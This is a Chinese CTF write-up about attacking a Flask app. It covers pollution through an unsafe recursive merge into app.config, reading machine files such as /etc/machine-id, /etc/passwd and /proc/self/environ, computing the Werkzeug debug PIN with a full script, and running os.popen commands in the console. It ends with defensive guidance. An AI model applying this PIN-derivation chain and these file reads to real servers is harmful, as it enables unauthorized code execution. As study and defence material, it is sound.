Flask安全实战:原型链污染与调试PIN码的CTF挑战解析

📅 2026/7/21 7:33:01
Flask安全实战:原型链污染与调试PIN码的CTF挑战解析
1. 项目概述一次典型的CTF Flask安全挑战拆解最近在复盘几场CTF比赛发现一个挺有意思的现象但凡涉及到Python Web安全的题目尤其是Flask框架的总有几个“老朋友”会反复出现。其中“原型链污染”和“PIN码计算”这两个知识点几乎成了中高难度赛题的“标配”。很多刚入门的选手看到题目里给了个Flask应用可能第一反应是去试SQL注入或者模板注入但如果题目设计者稍微“坏”一点把路径引向更深层的框架机制很多人就容易卡壳。今天我就以一个典型的融合了这两个考点的CTF挑战为背景带大家从头到尾拆解一遍不仅讲清楚怎么解题更重要的是讲明白背后的原理和为什么这么设计。这不仅仅是解题更是理解Flask安全机制的一个绝佳窗口。这个挑战模拟了一个简单的Flask Web应用通常它会提供一个看似无害的功能比如一个JSON数据处理器、一个配置文件读取器或者一个用户信息更新接口。你的目标就是通过一系列操作最终在服务器上执行任意代码拿到藏在系统里的flag。而通往这个目标的道路往往被设计成两步第一步利用应用逻辑或依赖库的漏洞污染Flask应用上下文的某些关键对象即原型链污染第二步利用被污染后产生的信息泄露或状态改变计算出Flask调试模式下的PIN码从而开启危险的调试器获得代码执行能力。整个过程就像是在玩一个精心设计的密室逃脱你需要找到两把不同的钥匙并且顺序还不能错。2. 核心漏洞原理当JavaScript的概念闯入Python世界2.1 什么是原型链污染听到“原型链污染”很多Python选手可能会一愣这不是JavaScript的经典漏洞吗没错这个概念确实源于JavaScript。在JS中每个对象都有一个指向其“原型”的链接形成一个链条。当你访问一个对象的属性时如果对象本身没有解释器就会沿着这条链向上查找。污染就是指攻击者通过可控的输入修改了这个原型对象从而影响所有继承自该原型的对象。那么它怎么跑到Python里来了关键在于Python中一些处理“对象合并”或“属性递归赋值”的库或代码逻辑。在Python中虽然没有原生的“原型链”但我们有字典、有类的__dict__、有各种用来便捷操作字典的函数。比如一个非常常见的操作是将用户传入的字典user_data更新到系统配置字典config中。如果这个更新操作是递归进行的即deep merge并且没有对传入字典的键名做严格限制危险就来了。想象一下这个场景import json config {version: 1.0, admin: False} def update_config(user_input): # 一个“危险”的递归更新函数 def merge(target, source): for key, value in source.items(): if isinstance(value, dict) and key in target and isinstance(target[key], dict): merge(target[key], value) else: target[key] value user_data json.loads(user_input) # 假设用户输入是JSON merge(config, user_data)如果用户传入{__proto__: {admin: true}}在JS中这会修改Object.prototype。在Python的类似实现中攻击者可能会尝试传入键为__class__、__base__或__globals__等特殊属性试图影响对象的类继承结构。但在CTF中更常见的是针对那些使用了flask框架、并且以特定方式解析JSON或处理字典的库例如python-json-logger的某些旧版本或者开发者自己写的递归合并函数。攻击的目标往往是污染那些对应用全局有影响的字典比如flask.config或者模板渲染的全局上下文。2.2 Flask中的污染点在哪里Flask应用的核心配置、请求上下文、会话信息等很多都是以字典形式存在的。一个典型的污染路径是这样的找到接收并递归处理字典的接口题目可能会提供一个/update接口接收JSON用于更新用户资料或应用设置。识别未过滤的特殊键名如果后端代码使用**操作符、dict.update()进行浅合并或者使用了存在漏洞的递归合并库当传入{__proto__: {...}}或{constructor: {prototype: {...}}}这样的结构时注意这里是为了类比JS概念实际Python中需找对应的魔法属性可能会被错误处理。污染全局对象在JavaScript引擎如Node.js中成功污染Object.prototype后所有对象都会拥有新注入的属性。在Python的Flask场景下成功的“污染”可能体现为向flask.config字典中注入了一个新的配置项或者修改了某个全局工具函数的默认行为字典。然而纯粹的“Python原型链污染”直接利用起来比JS要难因为Python的对象模型更严格。在CTF中它更多时候是一个“前置条件”或“跳板”。真正的杀伤力在于将污染与Flask的另一个特性——调试模式PIN码认证——结合起来。2.3 从污染到信息泄露获取PIN码计算的关键原料Flask在开启调试模式debugTrue时会启动一个带PIN码保护的交互式调试器Werkzeug debugger。这个PIN码是为了防止未授权访问而设计的。但是这个PIN码的生成算法是确定的它依赖于几个机器特定的“熵值”username启动Flask进程的系统用户名。modname通常是flask.app。getattr(app, __name__, getattr(app.__class__, __name__))应用对象的名称通常是Flask。str(app.__file__)Flask应用主文件的绝对路径。uuid.getnode()机器网络接口的MAC地址以十进制整数表示。get_machine_id()一个机器ID通常来自/etc/machine-id或/proc/sys/kernel/random/boot_id等文件。如果攻击者能够通过“原型链污染”或其他漏洞如文件读取、环境变量泄露获取到以上部分或全部信息那么他就可以在本地使用相同的算法计算出PIN码。这就是为什么题目常常先让你完成“信息收集”或“污染”这一步——不是为了直接执行代码而是为了拿到计算PIN码的“配方”和“原材料”。3. 挑战实战步步为营破解融合型题目下面我们模拟一个典型的解题流程。假设题目提供了一个在http://target.com上运行的Flask应用。3.1 第一步信息收集与接口探测首先用浏览器和curl或Burp Suite等工具进行基础探测。curl -v http://target.com/查看响应头确认是FlaskServer: Werkzeug/...。访问/robots.txt/console调试器地址但通常会被屏蔽或返回403。用目录扫描工具如dirsearch扫描常见路径可能会发现/api/update(POST, 接收JSON更新配置)/admin(可能提示需要PIN)/static/../app.py(尝试路径遍历读取源码)假设我们通过某种方式比如题目提示或目录扫描拿到了部分源码app.pyfrom flask import Flask, request, jsonify import json import os app Flask(__name__) app.config[SECRET_KEY] os.urandom(16) # 一个存在递归合并漏洞的工具函数 def merge(src, dst): for k, v in src.items(): if k in dst and isinstance(dst[k], dict) and isinstance(v, dict): merge(v, dst[k]) else: dst[k] v app.route(/api/update, methods[POST]) def update_config(): try: data request.get_json() if not data: return jsonify({error: No JSON provided}), 400 # 危险操作将用户数据递归合并到app.config中 merge(data, app.config) return jsonify({message: Config updated, config: dict(app.config)}), 200 except Exception as e: return jsonify({error: str(e)}), 500 if __name__ __main__: app.run(debugTrue, host0.0.0.0) # 注意debugTrue看到这里眼睛要亮了。第一debugTrue说明调试模式开启理论上存在/console。第二/api/update接口的merge函数将用户输入的字典递归合并到了app.config。这就是一个潜在的污染点。3.2 第二步实施原型链污染我们的目标不是污染Object.prototype而是污染app.config这个具体的字典。在Python中我们尝试注入一些可能被后续PIN码计算函数读取的键值。首先尝试读取当前配置看看有没有线索curl http://target.com/api/update -X POST -H Content-Type: application/json -d {}可能返回当前配置其中可能包含SECRET_KEY等但我们需要的是PIN码相关的信息。根据PIN码算法我们需要影响get_machine_id()或读取相关文件。但app.config的污染能否帮我们做到呢这里有一个经典的技巧Flask的config对象本身可能不会被PIN码计算直接读取但我们可以通过污染让应用在后续逻辑中意外泄露信息。我们尝试注入一个特殊的键看看它是否会出现在app.config的返回中或者是否会影响其他行为curl http://target.com/api/update -X POST -H Content-Type: application/json -d {INJECTED: test}检查返回的config字段确认INJECTED是否存在。如果存在证明合并成功。但我们的目标更具体。我们需要获取PIN码计算所需的六个因子。也许题目设计是通过污染app.config使得某个原本返回错误的信息查询接口现在能正确返回系统用户名或文件路径。我们需要审计可能存在的其他接口。假设通过进一步代码审计或猜测我们发现还有一个接口app.route(/debug_info, methods[GET]) def debug_info(): # 原本只返回安全信息但如果我们污染了config可能改变其行为 info { app_name: app.name, app_file: app.import_name } # 假设这里有一个逻辑如果config中存在‘DEBUG_USER‘则添加用户名 if DEBUG_USER in app.config: import getpass info[username] getpass.getuser() if DEBUG_FILE in app.config: info[real_file] __file__ return jsonify(info)那么我们的污染载荷就变成了curl http://target.com/api/update -X POST -H Content-Type: application/json -d {DEBUG_USER: true, DEBUG_FILE: true}然后访问/debug_info就有可能拿到username和__file__的绝对路径。注意以上/debug_info接口是我为了说明原理而假设的。真实题目中泄露信息的接口可能非常隐蔽比如通过错误信息、差异响应时间、或者污染后某个模板渲染变量的变化来泄露。这需要结合代码审计和黑盒测试进行推断。3.3 第三步获取PIN码计算因子假设通过污染我们触发了信息泄露拿到了username:ctf-userapp_file:/app/run.pymodname:flask.app(通常是这个)app_name:Flask(通常是这个)还缺uuid.getnode()MAC地址和get_machine_id()。这两个通常更难直接获取。在CTF环境中常见的出题思路是机器ID可能是一个固定的值或者可以通过文件读取漏洞获得。例如尝试读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id。题目可能在之前的步骤或另一个漏洞点提供了文件读取功能。MAC地址可能通过/sys/class/net/eth0/address文件读取或者题目直接将其硬编码在环境变量、配置文件中。有时在Docker容器中MAC地址可能是固定的比如02:42:ac:11:00:02对应的十进制是2485377892354。假设我们通过另一个简单的SSTI服务器端模板注入或路径遍历读取到了/etc/machine-id的内容为f8b327b1b0a14c3e9b7e6c5a4d3f2e1c并且读取/sys/class/net/eth0/address得到02:42:ac:11:00:02。现在我们集齐了所有材料因子1 (username):ctf-user因子2 (modname):flask.app因子3 (app_name):Flask因子4 (app_file):/app/run.py因子5 (mac):2485377892354(由02:42:ac:11:00:02转换而来)因子6 (machine_id):f8b327b1b0a14c3e9b7e6c5a4d3f2e1c3.4 第四步本地计算PIN码我们需要在本地复现PIN码生成算法。可以直接使用Werkzeug库中的相关函数或者自己编写脚本。最直接的方法是安装werkzeug然后模拟计算过程。创建一个calc_pin.py脚本import hashlib from itertools import chain def get_machine_id(): # 这里直接使用我们获取到的machine-id字符串 # 真实算法会读取文件并进行处理去换行、合并等 machine_id bf8b327b1b0a14c3e9b7e6c5a4d3f2e1c return machine_id probably_public_bits [ ctf-user, # username flask.app, # modname Flask, # app_name /app/run.py # app_file ] private_bits [ 2485377892354, # mac地址十进制 get_machine_id() # machine-id ] h hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not isinstance(bit, bytes): bit bit.encode(utf-8) h.update(bit) h.update(bcookiesalt) cookie_name __wzd h.hexdigest()[:20] num None if num is None: h hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not isinstance(bit, bytes): bit bit.encode(utf-8) h.update(bit) h.update(bpinsalt) num (%09d % int(h.hexdigest(), 16))[:9] rv None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size 0: rv -.join(num[x:x group_size].rjust(group_size, 0) for x in range(0, len(num), group_size)) break else: rv num print(rv)运行这个脚本就会得到计算出的PIN码例如123-456-789。3.5 第五步访问调试器并执行命令拿到PIN码后访问目标网站的调试器地址通常是http://target.com/console。在浏览器中打开该地址会看到一个需要输入PIN码的界面。输入计算得到的PIN码。进入交互式Python调试器界面。在调试器里你可以导入os模块执行系统命令import os os.popen(cat /flag).read()或者使用subprocess模块。这样就能读取到服务器上的flag文件内容。4. 防御策略与出题人思维理解了攻击链条我们才能更好地防御和出题。4.1 开发者如何防御永远不要在生产环境开启debugTrue这是铁律。调试信息会泄露大量敏感数据包括这个PIN码计算机制。安全地处理用户输入的字典/JSON避免使用递归合并函数处理不可信数据。如果必须合并使用浅合并dict.update()并严格限制允许更新的键名白名单。对键名进行过滤拒绝包含双下划线__或可能指向特殊属性/方法的键。最小化信息泄露确保错误页面不包含堆栈跟踪、文件路径、内部配置等敏感信息。使用随机且强大的密钥确保SECRET_KEY等是足够随机的避免被破解。依赖库安全及时更新所有依赖包括Flask、Werkzeug及其它第三方库避免已知的漏洞被利用。4.2 CTF出题人的设计思路从出题角度这类题目融合了多个知识点考察面广代码审计能力选手需要能快速阅读Flask代码找到存在漏洞的函数如不安全的合并。漏洞原理理解需要理解“原型链污染”的抽象概念并能将其映射到Python字典的不安全操作上。信息收集与串联题目不会把信息直接给你。你需要通过污染、文件读取、SSTI等多种可能的手段一步步收集PIN码计算所需的六个因子。这考察了选手的综合渗透测试思维。工具使用与脚本编写需要用到Burp Suite、curl进行测试并最终编写Python脚本计算PIN码。对Flask框架深度的了解知道调试模式的存在、PIN码保护机制及其生成原理。一道好的题目会让每一步都逻辑自洽。例如污染是为了开启一个信息泄露的“开关”而信息泄露的内容正好是计算PIN码所需的部分因子再结合另一个简单的漏洞如任意文件读取补全剩余因子最终达成目标。整个过程像推理小说一样环环相扣。5. 常见问题与排查技巧实录在实际解题或教学过程中会遇到一些典型问题Q1: 我发起了污染请求也返回成功了但后续接口似乎没生效A1: 首先确认污染的目标字典是否正确。是不是app.config还是session或g对象其次确认污染后是否触发了依赖该字典键值的代码路径。可能需要多次尝试不同的键名或者结合源代码审计看哪些键被哪些函数使用。有时需要触发一个特定的路由或操作才能让被污染的配置生效。Q2: 计算出的PIN码总是错误无法进入/console。A2: 这是最常见的问题。请按以下清单排查因子值错误这是最可能的原因。逐一核对username是运行Flask进程的用户不一定是Web服务器如nginx的用户。在Docker里可能是root或nobody。app_file必须是Flask应用对象app所在文件的绝对路径。如果使用gunicorn等WSGI服务器路径可能是包装脚本的路径情况更复杂。在CTF中路径通常比较直接。modname和app_name在绝大多数简单Flask应用中就是flask.app和Flask。但如果应用是通过工厂函数创建的或者被重命名可能会变化。查看源码中app Flask(__name__)这一行。mac确保你获取的是十进制整数。/sys/class/net/eth0/address文件里的格式是02:42:ac:11:00:02需要去掉冒号转换成十进制。Python转换int(0242ac110002, 16)。machine_id算法可能读取多个文件并拼接。在Linux下通常是/etc/machine-id的内容如果不存在则用/proc/sys/kernel/random/boot_id。注意需要读取原始文件内容字节串并去除末尾的换行符。有时题目提供的可能是处理后的值。算法版本差异Werkzeug的不同版本PIN码算法可能有细微调整。确保你参考的算法与目标环境一致。最稳妥的方法是直接查找对应Werkzeug版本的源码werkzeug/debug/__init__.py中的get_pin_and_cookie_name函数。/console路径被修改调试器的路径可能不是默认的/console可以通过扫描或分析错误页面发现。Q3: 访问/console直接返回403或404是不是没开启调试A3: 有可能。但CTF题目中如果考察这个点debug模式一定是开启的。403可能是Werkzeug的默认保护仅允许本地访问但在CTF的容器化环境中通常会被配置为允许外部访问。404则可能是路由被隐藏或修改了。尝试访问/console时观察响应头或细微的HTML差异有时即使返回403页面结构也会与普通404不同暗示该端点存在。Q4: 除了计算PIN还有其他利用方式吗A4: 有。如果通过污染能够直接向app.config中注入危险的配置项也可能导致RCE。例如早期有案例通过污染设置JSONIFY_PRETTYPRINT_REGULAR为False结合其他漏洞触发异常导致敏感信息泄露。但PIN码计算是更通用、更经典的路径。另一种思路是如果污染能影响模板渲染的全局变量可能结合SSTI达到更直接的效果。排查技巧实录“黑盒”测试时对任何接收JSON的POST接口都尝试发送{__proto__: {test:1}}、{constructor: {prototype: {test:1}}}以及{__class__: ...}等载荷观察响应变化或后续请求的差异。“白盒”审计时全局搜索merge、update、deepcopy、**字典解包等关键词重点关注处理用户输入字典的函数。信息收集养成习惯在发现疑似漏洞点后系统性地收集以下信息/proc/self/environ环境变量、/proc/self/cmdline启动命令、/etc/passwd用户列表、网络接口信息等。这些在CTF中常常是隐藏flag或关键信息的地方。工具辅助使用flask-unsign等工具可以帮助爆破或操作session但在PIN码计算这类问题上手工理解和编写脚本更能加深印象。可以准备一个计算PIN码的脚本模板每次只需替换几个变量即可快速尝试。